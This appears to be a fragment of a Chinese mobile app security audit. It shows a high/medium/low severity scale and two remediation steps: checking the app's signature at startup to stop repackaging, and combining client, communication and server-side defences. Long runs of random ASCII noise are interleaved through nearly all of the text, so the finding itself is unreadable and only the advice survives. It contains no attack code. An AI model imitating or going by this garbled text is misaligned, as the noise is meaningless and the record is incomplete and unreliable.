/ b8 C& N: l! t8 a T 严重程度 $ X3 a( a% r% ^% `8 k6 } , D" b5 Q! f' [. f- v8 N , ~& l; N W) ^ ^& L+ x	" h4 ^- W9 S+ |8 f! f+ i ! [+ X4 _, x3 A. J) N: l. D* U) { 高 5 t8 n; e$ ]6 d. l: |	. H8 ?; V$ d' c; M$ _! w' \ * I# C+ W$ N, m! v 8 f& X& D3 P# ^6 O ■ , }# u2 w5 e6 z6 {0 H 9 p- {+ g% {% { * j5 F( k4 p, @% A% Z' w	2 V+ E- g4 @, D3 f- y) L. R # b3 n8 |" A$ t 中 ) R1 D. k9 _$ N% ~8 B9 ]4 ~$ F ! v' J! F6 n& T! {4 m. R 2 R5 a" q1 p+ I	% w+ Z% l9 E1 G& J9 h8 @" L8 c. ]8 | ; F' ^, I% \9 ? s) h# ?2 B7 q0 s   " e+ T8 n, z; _	% s m; D0 f: O% a 低 # f# n, n* P1 O8 ?5 l1 s% V ; D. e- R7 `0 e) l3 V& L5 ?	, g( u6 @8 D7 r7 Z* { & m V- D8 D) n8 `6 q 8 o! R! M! B* O( s( v 4 _- E7 {& a% t0 A) \ 1 Y4 k- o: b4 b, h' G {   w3 S7 i7 ^9 ]9 Q, E t! j) ~ ) V! R( E8 N5 L: ] v; c9 N+ p

9 B% p, |9 H8 g

; K6 E' P1 k9 T5 k1 B1 T 0 G8 y: Y4 u) i7 {! W& y

 

( A! f/ y8 b; g+ O' ~2 R$ y # [ G4 ~, F; t. W* L 修复方法：

C1 c4 D5 c3 d3 @ 0 J) Z3 ?! T$ A- f9 ?* R) a' R

              1.在 APP 启动时应做签名校验防止二次打包。
* c- U- |. \; R) `# o+ k2 T: y 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 2 c' g* N4 ~% {: ? r, |. ^

8 a- B% N/ `+ ]% K7 s0 N

  ; N: A* |6 y/ @2 K) B1 W - L. r7 F: z$ U% [. Z7 m

& L% M/ H3 |8 z2 l 7 `* ?1 w L, A3 T- ]

' o; H+ P8 x; Z! \1 W/ a4 b" E) Q / ]9 n, l! d; M; G. N# ]0 L
+ T; ]1 }2 ?! d5 T